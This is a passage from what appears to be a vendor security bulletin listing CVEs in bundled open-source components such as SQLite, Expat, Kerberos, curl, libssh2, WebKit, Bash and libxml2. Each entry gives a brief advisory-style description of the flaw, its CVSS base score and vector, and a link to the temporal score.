https://exchange.xforce.ibmcloud.com/vulnerabilities/108548](<https://exchange.xforce.ibmcloud.com/vulnerabilities/108548>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2019-19645](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19645>) \n** DESCRIPTION: **SQLite is vulnerable to a denial of service, caused by an infinite recursion flaw in alter.c. By sending a specially-crafted request using certain types of self-referential views in conjunction with ALTER TABLE statements, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/172774](<https://exchange.xforce.ibmcloud.com/vulnerabilities/172774>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2019-19880](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19880>) \n** DESCRIPTION: **SQLite is vulnerable to a denial of service, caused by an invalid pointer dereference in exprListAppendList in window.c. By sending a specially crafted request, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/173387](<https://exchange.xforce.ibmcloud.com/vulnerabilities/173387>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2019-19924](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19924>) \n** DESCRIPTION: **SQLite is vulnerable to a denial of service, caused by the mishandling of certain parser-tree rewriting in the sqlite3WindowRewrite function in expr.c, vdbeaux.c, and window.c. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/173495](<https://exchange.xforce.ibmcloud.com/vulnerabilities/173495>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2019-8457](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8457>) \n** DESCRIPTION: **SQLite is vulnerable to a denial of service, caused by a heap out-of-bound read in the rtreenode() function when handling invalid rtree tables. A remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/161901](<https://exchange.xforce.ibmcloud.com/vulnerabilities/161901>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2020-13631](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13631>) \n** DESCRIPTION: **SQLite could allow a remote attacker to bypass security restrictions, caused by a flaw in the alter.c and build.c. By sending a specially crafted request, an attacker could exploit this vulnerability to rename the virtual table to the name of one of its shadow tables. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/182611](<https://exchange.xforce.ibmcloud.com/vulnerabilities/182611>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2017-9233](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9233>) \n** DESCRIPTION: **libexpat is vulnerable to a denial of service, caused by a XML External Entity vulnerability in the parser. By using a specially-crafted XML file, a remote attacker could exploit this vulnerability to cause an infinite loop. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/129459](<https://exchange.xforce.ibmcloud.com/vulnerabilities/129459>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2016-5300](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5300>) \n** DESCRIPTION: **Expat XML parser is vulnerable to a denial of service, caused by the failure to use sufficient entropy for hash initialization. By using specially-crafted identifiers in an XML document, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/114435](<https://exchange.xforce.ibmcloud.com/vulnerabilities/114435>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2016-4472](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4472>) \n** DESCRIPTION: **Expat XML parser is vulnerable to a denial of service, caused by the removal by compilers with certain optimization settings. By using a specially-crafted XML data, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/114683](<https://exchange.xforce.ibmcloud.com/vulnerabilities/114683>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2015-2695](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2695>) \n** DESCRIPTION: **MIT Kerberos is vulnerable to a denial of service, caused by a pointer type error in the GSS-API library. By sending a specially crafted gss_inquire_context() call on a partially-established SPNEGO context, a remote attacker could exploit this vulnerability to cause the process to crash. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/107874](<https://exchange.xforce.ibmcloud.com/vulnerabilities/107874>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2015-2696](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2696>) \n** DESCRIPTION: **MIT Kerberos is vulnerable to a denial of service, caused by a pointer type error in the GSS-API library. By sending a specially crafted gss_inquire_context() call on a partially-established IAKERB context, a remote attacker could exploit this vulnerability to cause the process to crash. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/107875](<https://exchange.xforce.ibmcloud.com/vulnerabilities/107875>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2019-19906](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19906>) \n** DESCRIPTION: **cyrus-sasl is vulnerable to a denial of service, caused by an off-by-one error in _sasl_add_string in common.c. By sending a malformed LDAP packet, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/173382](<https://exchange.xforce.ibmcloud.com/vulnerabilities/173382>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2016-1234](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1234>) \n** DESCRIPTION: **glibc is vulnerable to a denial of service, caused by a stack-based buffer overflow within the glob implementation when GLOB_ALTDIRFUNC is used. A remote attacker could exploit this vulnerability using an overly long name to overflow a buffer and cause the application to crash. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/111311](<https://exchange.xforce.ibmcloud.com/vulnerabilities/111311>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2020-13956](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13956>) \n** DESCRIPTION: **Apache HttpClient could allow a remote attacker to bypass security restrictions, caused by the improper handling of malformed authority component in request URIs. By passing request URIs to the library as java.net.URI object, an attacker could exploit this vulnerability to pick the wrong target host for request execution. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/189572](<https://exchange.xforce.ibmcloud.com/vulnerabilities/189572>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2020-26154](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26154>) \n** DESCRIPTION: **libproxy is vulnerable to a buffer overflow, caused by improper bounds checking. By persuading a victim to open a specially crafted PAC file, a remote attacker could overflow a buffer and execute arbitrary code on the system or cause the application to crash. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/189418](<https://exchange.xforce.ibmcloud.com/vulnerabilities/189418>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2020-13645](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13645>) \n** DESCRIPTION: **GNOME glib-networking is vulnerable to a man-in-the-middle attack, caused by missing hostname verification in the server TLS certificate in the implementation of GTlsClientConnection. An attacker could exploit this vulnerability to launch a man-in-the-middle attack and gain access to the communication channel between endpoints to obtain sensitive information or further compromise the system. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/182648](<https://exchange.xforce.ibmcloud.com/vulnerabilities/182648>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N) \n \n** CVEID: **[CVE-2018-16435](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16435>) \n** DESCRIPTION: **Little CMS is vulnerable to a heap-based buffer overflow, caused by improper bounds checking by the AllocateDataSet function in cmscgats.c. By persuading a victim to open a specially-crafted file, a remote attacker could overflow a buffer and execute arbitrary code on the system. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/149326](<https://exchange.xforce.ibmcloud.com/vulnerabilities/149326>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2008-3105](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3105>) \n** DESCRIPTION: **Sun Java Runtime Environment (JRE) is vulnerable to a denial of service, caused by an error in XML data processing. An attacker could exploit this vulnerability using the JAX-WS client or a service in a trusted application to cause a denial of service. \nCVSS Base score: 5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/43657](<https://exchange.xforce.ibmcloud.com/vulnerabilities/43657>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:N/I:N/A:P) \n \n** CVEID: **[CVE-2021-22931](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22931>) \n** DESCRIPTION: **Node.js could provide weaker than expected security, caused by missing input validation on hostnames returned by DNS servers. An attacker could exploit this vulnerability to cause output of wrong hostnames leading to Domain Hijacking and and injection vulnerabilities in applications using the library. \nCVSS Base score: 5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/207230](<https://exchange.xforce.ibmcloud.com/vulnerabilities/207230>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2021-3672](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3672>) \n** DESCRIPTION: **The c-ares library could provide weaker than expected security, caused by missing input validation on hostnames returned by DNS servers. An attacker could exploit this vulnerability to cause the output of wrong hostnames leading to Domain Hijacking and and injection vulnerabilities in applications using the library. \nCVSS Base score: 5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/207212](<https://exchange.xforce.ibmcloud.com/vulnerabilities/207212>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2015-3153](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3153>) \n** DESCRIPTION: **cURL/libcURL could allow a remote attacker to obtain sensitive information, caused by custom HTTP headers with sensitive content being sent to the server and intermediate proxy by the CURLOPT_HTTPHEADER option. An attacker could exploit this vulnerability to obtain authentication cookies or other sensitive information. \nCVSS Base score: 5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/102989](<https://exchange.xforce.ibmcloud.com/vulnerabilities/102989>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:N/A:N) \n \n** CVEID: **[CVE-2016-8617](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8617>) \n** DESCRIPTION: **cURL/libcurl could allow a remote authenticated attacker to execute arbitrary code on the system, caused by an out of bounds write in the base64 encode function. By using a specially crafted username, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/118636](<https://exchange.xforce.ibmcloud.com/vulnerabilities/118636>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2019-3859](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-3859>) \n** DESCRIPTION: **libssh2 is vulnerable to a denial of service, caused by an out-of-bounds read in the _libssh2_packet_require and _libssh2_packet_requirev functions. By sending a specially crafted packet, a remote attacker could exploit this vulnerability to cause a denial of service or read data in the client memory. \nCVSS Base score: 5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/158343](<https://exchange.xforce.ibmcloud.com/vulnerabilities/158343>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2019-3860](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-3860>) \n** DESCRIPTION: **libssh2 is vulnerable to a denial of service, caused by an out-of-bounds read when parsing packets with empty payloads. By sending a specially crafted SFTP packet, a remote attacker could exploit this vulnerability to cause a denial of service or read data in the client memory. \nCVSS Base score: 5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/158344](<https://exchange.xforce.ibmcloud.com/vulnerabilities/158344>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2020-13558](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13558>) \n** DESCRIPTION: **WebKitGTK and WPE WebKit could allow a remote attacker to execute arbitrary code on the system, caused by a use-after-free flaw in the AudioSourceProviderGStreamer class. By persuading a victim to open specially-crafted web content, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/196795](<https://exchange.xforce.ibmcloud.com/vulnerabilities/196795>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-1788](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1788>) \n** DESCRIPTION: **Apple macOS could allow a remote attacker to execute arbitrary code on the system, caused by a use-after-free in the WebKit component. By persuading a victim to visit a specially-crafted Web site, an attacker could exploit this vulnerability to execute arbitrary code on the system or cause a denial of service. \nCVSS Base score: 8.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/195895](<https://exchange.xforce.ibmcloud.com/vulnerabilities/195895>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-1789](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1789>) \n** DESCRIPTION: **Apple macOS could allow a remote attacker to execute arbitrary code on the system, caused by a type confusion in the WebKit component. By persuading a victim to visit a specially crafted Web site, an attacker could exploit this vulnerability to execute arbitrary code on the system or cause a denial of service. \nCVSS Base score: 8.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/195893](<https://exchange.xforce.ibmcloud.com/vulnerabilities/195893>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-1844](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1844>) \n** DESCRIPTION: **Apple Safari, macOS Big Sur, iOS, iPadOS and watchOS could allow a remote attacker to execute arbitrary code on the system, caused by a memory corruption flaw in the WebKit component. By persuading a victim to open a specially-crafted web content, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/197853](<https://exchange.xforce.ibmcloud.com/vulnerabilities/197853>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-1870](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1870>) \n** DESCRIPTION: **Apple iOS and iPadOS could allow a remote attacker to execute arbitrary code on the system, caused by a logic issue in the WebKit component. By persuading a victim to visit a specially crafted Web site, a remote attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/195638](<https://exchange.xforce.ibmcloud.com/vulnerabilities/195638>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-1871](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1871>) \n** DESCRIPTION: **Apple iOS and iPadOS could allow a remote attacker to execute arbitrary code on the system, caused by a logic issue in the WebKit component. By persuading a victim to visit a specially crafted Web site, a remote attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/195639](<https://exchange.xforce.ibmcloud.com/vulnerabilities/195639>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-21779](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21779>) \n** DESCRIPTION: **Apple iOS and iPadOS could allow a remote attacker to execute arbitrary code on the system, caused by a use-after-free flaw in the WebKit componenet. By persuading a victim to visit a specially crafted Web site, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202343](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202343>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-21806](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21806>) \n** DESCRIPTION: **WebKit WebKitGTK could allow a remote attacker to execute arbitrary code on the system, caused by a use-after-free flaw in fireEventListeners. By persuading a victim to visit a specially crafted Web site, an attacker could exploit this vulnerability to execute arbitrary code in the context of the current process. \nCVSS Base score: 8.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/205101](<https://exchange.xforce.ibmcloud.com/vulnerabilities/205101>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-30663](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30663>) \n** DESCRIPTION: **Apple iOS, iPadOS and macOS Big Sur could allow a remote attacker to execute arbitrary code on the system, caused by an integer overflow in the WebKit component. By persuading a victim to visit a specially crafted Web site, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/201120](<https://exchange.xforce.ibmcloud.com/vulnerabilities/201120>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-30665](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30665>) \n** DESCRIPTION: **Apple iOS, iPadOS, watchOS and macOS Big Sur could allow a remote attacker to execute arbitrary code on the system, caused by a memory corruption issue in the WebKit component. By persuading a victim to visit a specially crafted Web site, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/201119](<https://exchange.xforce.ibmcloud.com/vulnerabilities/201119>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-30734](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30734>) \n** DESCRIPTION: **Apple iOS and iPadOS could allow a remote attacker to execute arbitrary code on the system, caused by multiple memory corruption issues in the WebKit component. By persuading a victim to visit a specially crafted Web site, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202348](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202348>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-30749](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30749>) \n** DESCRIPTION: **Apple iOS and iPadOS could allow a remote attacker to execute arbitrary code on the system, caused by multiple memory corruption issues in the WebKit component. By persuading a victim to visit a specially crafted Web site, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202347](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202347>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-30758](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30758>) \n** DESCRIPTION: **Apple Safari could allow a remote attacker to execute arbitrary code on the system, caused by a type confusion in the WebKit component. By persuading a victim to visit a specially crafted Web site, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/206132](<https://exchange.xforce.ibmcloud.com/vulnerabilities/206132>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-30795](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30795>) \n** DESCRIPTION: **Apple Safari could allow a remote attacker to execute arbitrary code on the system, caused by an error in the WebKit component. By persuading a victim to visit a specially crafted Web site, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/206134](<https://exchange.xforce.ibmcloud.com/vulnerabilities/206134>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-30797](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30797>) \n** DESCRIPTION: **Apple Safari could allow a remote attacker to execute arbitrary code on the system, caused by a use-after-free in the WebKit component. By persuading a victim to visit a specially crafted Web site, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/206133](<https://exchange.xforce.ibmcloud.com/vulnerabilities/206133>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-30799](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30799>) \n** DESCRIPTION: **Apple macOS Catalina could allow a remote attacker to execute arbitrary code on the system, caused by a memory corruption in the WebKit component. By persuading a victim to visit a specially crafted Web site, an attacker could exploit this vulnerability to execute arbitrary code on the system or cause a denial of service. \nCVSS Base score: 8.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/206131](<https://exchange.xforce.ibmcloud.com/vulnerabilities/206131>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2019-13565](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13565>) \n** DESCRIPTION: **OpenLDAP could allow a remote authenticated attacker to gain elevated privileges on the system, caused by an error when using SASL authentication and session encryption. An attacker could exploit this vulnerability to gain privileges on the system. \nCVSS Base score: 8.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/165451](<https://exchange.xforce.ibmcloud.com/vulnerabilities/165451>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2019-18276](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18276>) \n** DESCRIPTION: **GNU Bash could allow a remote authenticated attacker to gain elevated privileges on the system, caused by a flaw in the disable_priv_mode in shell.c. By sending a specially-crafted command, an attacker could exploit this vulnerability to escalate privileges. \nCVSS Base score: 8.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/172331](<https://exchange.xforce.ibmcloud.com/vulnerabilities/172331>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2019-9924](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9924>) \n** DESCRIPTION: **Bash could allow a remote authenticated attacker to execute arbitrary commands on the system, caused by the failure to prevent the shell user from modifying BASH_CMDS in the rbash. By modifying BASH_CMDS, an attacker could exploit this vulnerability to execute arbitrary commands on the system with the permissions of the shell. \nCVSS Base score: 8.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/158906](<https://exchange.xforce.ibmcloud.com/vulnerabilities/158906>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-3520](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3520>) \n** DESCRIPTION: **lz4 could allow a remote attacker to execute arbitrary code on the system, caused by an integer overflow. By sending a specially crafted file, an attacker could invoke memmove() on a negative size argument leading to memory corruption and trigger an out-of-bounds write or cause the library to crash. \nCVSS Base score: 8.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202592](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202592>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H) \n \n** CVEID: **[CVE-2021-3518](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3518>) \n** DESCRIPTION: **GNOME libxml2 could allow a remote attacker to execute arbitrary code on the system, caused by a use-after-free flaw in the xmlXIncludeDoProcess() function in xinclude.c. By sending a specially-crafted file, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/203144](<https://exchange.xforce.ibmcloud.com/vulnerabilities/203144>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H) \n \n** CVEID: **[CVE-2021-3517](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3517>) \n** DESCRIPTION: **GNOME libxml2 is vulnerable to a heap-based buffer overflow, caused by improper bounds checking by xmlEncodeEntitiesInternal() in entities.c. By sending a specially crafted file, a remote attacker could trigger an out-of-bounds read and execute arbitrary code on the system or cause a denial of service. \nCVSS Base score: 8.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202526](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202526>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H) \n \n** CVEID: **[CVE-2021-3796](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3796>) \n** DESCRIPTION: **Vim is vulnerable to a denial of service, caused by a use-after-free in nv_replace. By persuading a victim to visit a specially-crafted Web site, a remote attacker could exploit this vulnerability to cause a denial of service. \nCVSS Base score: 8.2 \nCVSS Temporal Score: See: [ 